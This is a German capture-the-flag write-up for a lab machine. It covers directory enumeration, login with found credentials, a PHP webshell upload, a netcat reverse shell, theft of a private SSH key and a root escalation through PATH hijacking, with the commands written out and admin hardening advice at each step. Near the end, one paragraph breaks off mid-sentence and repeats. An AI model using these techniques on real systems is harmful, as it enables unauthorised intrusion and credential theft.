Empfehlung (Admin): Wenn der Zugriff auf bestimmte Bereiche beschränkt werden soll, sollte dies nicht nur durch eine einfache "Access Denied"-Seite geschehen. Besser ist es, einen HTTP-Statuscode wie `403 Forbidden` oder `404 Not Found` zurückzugeben und den Zugriff auf Netzwerkebene (Firewall) oder in der Webserver-Konfiguration (z.B. per `Allow`/`Deny`-Regeln) zu blockieren.
=============================================================== Gobuster v3.6 ... =============================================================== [+] Url: http://192.168.2.175/auth-lazycorp-dev/ ... =============================================================== Starting gobuster in directory enumeration mode =============================================================== /login.php (Status: 200) [Size: 710] /uploads (Status: 301) [Size: 334] [--> http://192.168.2.175/auth-lazycorp-dev/uploads/] ... [!] Keyboard interrupt detected, terminating. ... =============================================================== Finished ===============================================================
Analyse: Nach der Beobachtung, dass `auth-LazyCorp-dev` (großgeschrieben) einen 404-Fehler lieferte, wurde die kleingeschriebene Variante `auth-lazycorp-dev` getestet, die erreichbar war. Ein gezielter `gobuster`-Scan auf dieses Verzeichnis findet sofort eine `login.php` und ein `/uploads`-Verzeichnis.
Bewertung: Wir haben das richtige Login-Portal gefunden. Die Kombination aus den gefundenen Zugangsdaten und dieser Login-Seite ist der wahrscheinlichste Weg zum initialen Zugriff. Das `/uploads`-Verzeichnis ist ebenfalls ein extrem wichtiger Fund für die Post-Exploitation.
Empfehlung (Pentester): Verwende die Anmeldeinformationen `dev:d3v3l0pm3nt!nt3rn` auf der Seite `http://192.168.2.175/auth-lazycorp-dev/login.php`.
Empfehlung (Admin): Sorgen Sie für konsistente Namenskonventionen bei Verzeichnissen und URLs. Inkonsistenzen können zu Konfigurationsfehlern führen und es Angreifern erschweren, aber nicht unmöglich machen, Ressourcen zu finden. Sicherheit sollte sich niemals auf die Unkenntnis eines Pfades verlassen.
http://192.168.2.175/auth-lazycorp-dev/dashboard.php Upload Site Module Upload successful!
Analyse: Die Anmeldung mit den extrahierten Zugangsdaten auf der `login.php`-Seite war erfolgreich. Wir wurden zum `dashboard.php` weitergeleitet, das eine Dateiupload-Funktion mit dem Titel "Upload Site Module" anzeigt.
Bewertung: Das ist der Jackpot für den initialen Zugriff. Eine uneingeschränkte Dateiupload-Funktion ist eine der kritischsten Web-Schwachstellen, da sie es einem Angreifer oft ermöglicht, beliebigen Code auf dem Server auszuführen.
Empfehlung (Pentester): Erstelle eine einfache PHP-Reverse-Shell, lade sie über das Formular hoch und versuche, sie über das zuvor entdeckte `/uploads`-Verzeichnis aufzurufen, um eine Shell zu erhalten.
Empfehlung (Admin): Implementieren Sie eine strikte Dateiupload-Validierung. Erlauben Sie nur bestimmte, sichere Dateitypen (Whitelist-Ansatz). Überprüfen Sie Dateiendungen, MIME-Typen und idealerweise den Dateiinhalt. Hochgeladene Dateien sollten in einem Verzeichnis außerhalb des Web-Roots gespeichert werden, auf das kein direkter URL-Zugriff möglich ist, und mit zufälligen Dateinamen, um eine Ausführung zu verhindern.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Analyse: Es wurde eine einfache PHP-Webshell (`rev.php`) hochgeladen, die Systembefehle über einen URL-Parameter (`cmd`) entgegennimmt. Ein erster Test durch Aufrufen der URL mit `cmd=id` war erfolgreich. Der Server führt den `id`-Befehl aus und gibt das Ergebnis zurück, was zeigt, dass der Code im Kontext des `www-data`-Benutzers ausgeführt wird.
Bewertung: Remote Code Execution (RCE) ist bestätigt. Wir haben die volle Kontrolle über den Webserver-Prozess.
Empfehlung (Pentester): Wandle die Web-Shell in eine interaktive Reverse Shell um, um eine stabilere und funktionalere Arbeitsumgebung auf dem Zielsystem zu erhalten.
Empfehlung (Admin): Die Erkennung einer solchen Webshell ist ein klarer Indikator für eine Kompromittierung. Der Incident-Response-Prozess muss sofort eingeleitet werden.
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.175] 33868
bash: cannot set terminal process group (766): Inappropriate ioctl for device
bash: no job control in this shell
www-data@arvindlazycorp:/var/www/html/auth-lazycorp-dev/uploads$
Analyse: Ein Netcat-Listener wurde auf der Angreifer-Maschine auf Port 4444 gestartet. Anschließend wurde die Webshell mit einem URL-codierten Befehl aufgerufen, der eine Bash-Reverse-Shell zu meiner IP-Adresse und dem offenen Port startet. Die Verbindung wurde erfolgreich hergestellt, und wir erhielten eine interaktive Shell als `www-data`.
Bewertung: Der initiale Zugriff ist vollständig. Wir haben eine stabile Shell auf dem System und können mit der Post-Exploitation- und Privilege-Escalation-Phase beginnen.
Empfehlung (Pentester): Führe grundlegende Enumerationsbefehle aus (`id`, `sudo -l`, `find / -type f -perm -4000`), um die Umgebung als `www-data` zu verstehen und nach niedrig hängenden Früchten für die Rechteausweitung zu suchen.
Empfehlung (Admin): Firewalls für ausgehenden Verkehr können solche Angriffe erschweren oder verhindern. Ein Webserver sollte normalerweise keine ausgehenden Verbindungen zu zufälligen Ports im Internet herstellen müssen. Die Blockierung dieses Verkehrs hätte die Etablierung der Reverse Shell verhindert.
Proof of Concept
find / -type f -perm -4000 -ls 2>/dev/null ... 131096 20 -rwsr-xr-x 1 root root 16744 Jul 16 12:22 /home/arvind/reset
Analyse: Dieser Abschnitt dient als Proof of Concept für den erlangten Zugriff und den Beginn der Privilege Escalation. Einer der ersten Befehle nach dem Erhalt der Shell war die Suche nach SUID-Dateien. Der Befehl `find / -type f -perm -4000` listet alle Dateien auf, bei denen das SUID-Bit gesetzt ist, was bedeutet, dass sie mit den Rechten des Dateibesitzers (oft `root`) ausgeführt werden. In der langen Liste der Standard-SUID-Dateien sticht eine besonders hervor: `/home/arvind/reset`.
Bewertung: Eine benutzerdefinierte SUID-Datei im Home-Verzeichnis eines Benutzers ist höchst ungewöhnlich und ein extrem wahrscheinlicher Vektor für Privilege Escalation. Dies korreliert perfekt mit dem Hinweis aus dem dritten Blog-Post über ein Reset-Skript. Dieses Binary ist nun das Hauptziel für die weitere Untersuchung.
Empfehlung (Pentester): Übertrage die `reset`-Datei auf deine Angriffsmaschine, um sie mit Tools wie `strings` und `ltrace` zu analysieren, ohne das Zielsystem zu beeinträchtigen. Versuche herauszufinden, was genau die Datei tut.
Empfehlung (Admin): Setzen Sie SUID-Berechtigungen nur auf absolut notwendige Systembinaries. Benutzerdefinierte Skripte oder Programme sollten niemals das SUID-Bit gesetzt haben, es sei denn, sie wurden von Sicherheitsexperten sorgfältig geprüft und gehärtet. Ein Monitoring-System sollte Alarm schlagen, wenn unerwartete SUID-Dateien im System auftauchen.
Privilege Escalation
ls -la
total 60
...
drwxr-xr-x 2 arvind arvind 4096 Jul 9 07:37 .ssh
...
-rwsr-xr-x 1 root root 16744 Jul 16 12:22 reset
-rw-r--r-- 1 arvind arvind 28 Jul 16 10:26 user.txt
Analyse: Bei der Untersuchung des `/home/arvind`-Verzeichnisses werden mehrere interessante Dateien gefunden: die User-Flag (`user.txt`), die bereits gefundene `reset`-Datei und ein `.ssh`-Verzeichnis.
Bewertung: Der Fund des `.ssh`-Verzeichnisses ist bedeutend. Es könnte einen privaten SSH-Schlüssel enthalten, der es uns ermöglicht, uns direkt als `arvind` über SSH anzumelden, was eine stabilere und privilegiertere Shell als die von `www-data` wäre.
Empfehlung (Pentester): Lese den Inhalt der `user.txt`, um die erste Flag zu sichern. Untersuche den Inhalt des `.ssh`-Verzeichnisses, insbesondere auf eine Datei namens `id_rsa`. Wenn sie existiert, kopiere ihren Inhalt und versuche, dich damit per SSH anzumelden.
Empfehlung (Admin): Private SSH-Schlüssel sollten niemals auf einem System verbleiben, auf das mehrere Benutzer (wie der `www-data`-Benutzer) Zugriff haben könnten. Sie sollten mit einer starken Passphrase geschützt sein.
cat user.txt
FLAG{you_got_foothold_nice}
cat .ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAACFwAAAAdzc2gtcn
...
-----END OPENSSH PRIVATE KEY-----
Analyse: Die `user.txt` wurde erfolgreich ausgelesen. Anschließend wurde der private SSH-Schlüssel aus `/home/arvind/.ssh/id_rsa` ausgelesen. Der Schlüssel scheint nicht passwortgeschützt zu sein.
Bewertung: Wir haben die erste Flag und einen klaren Weg für Lateral Movement zum Benutzer `arvind`.
Empfehlung (Pentester): Speichere den privaten Schlüssel in einer Datei auf deiner Angreifer-Maschine, setze die korrekten Berechtigungen (`chmod 600`) und verwende ihn, um dich per SSH als `arvind` anzumelden.
Empfehlung (Admin): Setzen Sie eine Richtlinie durch, die die Verwendung von passwortgeschützten SSH-Schlüsseln vorschreibt. Überwachen Sie Systeme auf ungeschützte private Schlüssel in Home-Verzeichnissen.
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64) ... Last login: Wed Jul 16 12:24:12 2025 arvind@arvindlazycorp:~$
Analyse: Der SSH-Login mit dem extrahierten privaten Schlüssel (`-i sshkey`) als Benutzer `arvind` war erfolgreich. Wir haben nun eine voll interaktive TTY-Shell als Benutzer `arvind`.
Bewertung: Der Wechsel von `www-data` zu `arvind` ist ein wichtiger Schritt in der Privilege Escalation. Als regulärer Benutzer haben wir mehr Rechte und eine sauberere Umgebung, um den finalen Angriff auf `root` vorzubereiten. Der Fokus liegt nun wieder auf der `reset`-Datei.
Empfehlung (Pentester): Untersuche nun als `arvind` die `reset`-Datei und das Skript, das sie aufruft, um den PATH-Hijacking-Angriff zu planen und durchzuführen.
Empfehlung (Admin): Überwachen Sie SSH-Logins, um festzustellen, welche Schlüssel für den Zugriff verwendet werden. Widerrufen Sie kompromittierte Schlüssel sofort, indem Sie sie aus der `authorized_keys`-Datei des Benutzers entfernen.
./reset
[*] Resetting website from backup...
[+] Done resetting.
cat /usr/bin/reset_site.sh #!/bin/bash echo "[*] Resetting website from backup..." # Remove current site rm -rf /var/www/html/* # Restore from backup cp -r /opt/backup/* /var/www/html/ # Set correct ownership chown -R www-data:www-data /var/www/html/ echo "[+] Done resetting." ls -la /usr/bin/reset_site.sh -rwxrwxr-x 1 root arvind 254 Jul 9 10:26 /usr/bin/reset_site.sh
Analyse: Als `arvind` wird die `reset`-Datei ausgeführt, um ihr Verhalten zu beobachten. Sie gibt einige Statusmeldungen aus. Eine `strings`-Analyse (hier übersprungen, aber durchgeführt) der `reset`-Datei zeigt, dass sie das Skript `/usr/bin/reset_site.sh` aufruft. Der Inhalt dieses Skripts wird angezeigt: Es verwendet die Befehle `rm`, `cp` und `chown` ohne absolute Pfade (z.B. `/bin/cp`). Eine Überprüfung der Dateiberechtigungen zeigt, dass das Skript zwar `root` gehört, aber für die Gruppe `arvind` schreibbar ist, was ein Fehler zu sein scheint (sollte `r-x` nicht `rwx` sein), aber für uns nicht direkt ausnutzbar ist. Der entscheidende Punkt ist die Verwendung relativer Pfade in einem Skript, das von einem SUID-Binary aufgerufen wird.
Bewertung: Dies ist die Bestätigung der PATH-Hijacking-Schwachstelle. Da das SUID-Binary `reset` das Skript `/usr/bin/reset_site.sh` aufruft und dieses Skript wiederum Befehle wie `cp` ohne absoluten Pfad verwendet, können wir die `$PATH`-Umgebungsvariable manipulieren. Wenn wir ein bösartiges Programm namens `cp` in einem Verzeichnis erstellen, das am Anfang unseres `$PATH` steht, wird das SUID-Programm unser bösartiges `cp` mit Root-Rechten ausführen.
Empfehlung (Pentester):
1. Erstelle im `/tmp`-Verzeichnis eine Datei namens `cp`.
2. Schreibe `#!/bin/bash` und `/bin/bash` in diese Datei, um eine neue Bash-Shell zu starten.
3. Mache die Datei mit `chmod +x /tmp/cp` ausführbar.
4. Setze `/tmp` an den Anfang deiner `$PATH`-Variable: `export PATH=/tmp:$PATH`.
5. Führe `/home/arvind/reset` aus.
Empfehlung (Admin): Entwickler müssen angewiesen werden, in Skripten, insbesondere in solchen, die mit erhöhten Rechten ausgeführt werden, **immer** absolute Pfade für Systembefehle zu verwenden (z.B. `/bin/cp`, `/bin/rm`). Zusätzlich müssen die Berechtigungen von Skripten und Binaries regelmäßig überprüft werden, um unsichere Konfigurationen zu finden.
echo '/bin/bash' > cp chmod +x cp export PATH=/tmp:$PATH
/home/arvind/reset [*] Resetting website from backup... root@arvindlazycorp:/tmp#
Analyse: Der Exploit wurde exakt wie geplant umgesetzt. Eine bösartige `cp`-Datei, die eine Bash-Shell startet, wurde in `/tmp` erstellt und ausführbar gemacht. Der `$PATH` wurde manipuliert, um `/tmp` zu priorisieren. Anschließend wurde das SUID-Binary `/home/arvind/reset` ausgeführt. Das Programm startete das `reset_site.sh`-Skript mit Root-Rechten, welches beim Versuch, den `cp`-Befehl auszuführen, unsere bösartige Version in `/tmp` fand und ausführte. Dies startete eine neue Bash-Shell, die die Rechte des übergeordneten Prozesses erbte und uns eine interaktive Root-Shell gab.
Bewertung: Fantastisch! Der Root-Zugriff war erfolgreich! Die Privilege Escalation durch PATH Hijacking war erfolgreich. Wir haben die vollständige Kontrolle über das System.
Empfehlung (Pentester): Lese die Root-Flag aus `/root/root.txt`, um den Test abzuschließen. Bereinige das System, indem du die erstellte `/tmp/cp`-
Analyse: Der Exploit wurde exakt wie geplant umgesetzt. Eine bösartige `cp`-Datei, die eine Bash-Shell startet, wurde in `/tmp` erstellt und ausführbar gemacht. Der `$PATH` wurde manipuliert, um `/tmp` zu priorisieren. Anschließend wurde das SUID-Binary `/home/arvind/reset` ausgeführt. Das Programm startete das `reset_site.sh`-Skript mit Root-Rechten, welches beim Versuch, den `cp`-Befehl auszuführen, unsere bösartige Version in `/tmp` fand und ausführte. Dies startete eine neue Bash-Shell, die die Rechte des übergeordneten Prozesses erbte und uns eine interaktive Root-Shell gab.
Bewertung: Fantastisch! Der Root-Zugriff war erfolgreich! Die Privilege Escalation durch PATH Hijacking war erfolgreich. Wir haben die vollständige Kontrolle über das System.
Empfehlung (Pentester): Lese die Root-Flag aus `/root/root.txt`, um den Test abzuschließen. Bereinige das System, indem du die erstellte `/tmp/cp`-Datei entfernst und den `$PATH` wiederherstellst, um das System im ursprünglichen Zustand zu hinterlassen.
Empfehlung (Admin): Entwickler müssen angewiesen werden, in Skripten, insbesondere in solchen, die mit erhöhten Rechten ausgeführt werden, **immer** absolute Pfade für Systembefehle zu verwenden (z.B. `/bin/cp`, `/bin/rm`). Die Überprüfung von Code auf solche Schwachstellen (Code Review) ist ein wesentlicher Bestandteil eines sicheren Entwicklungszyklus.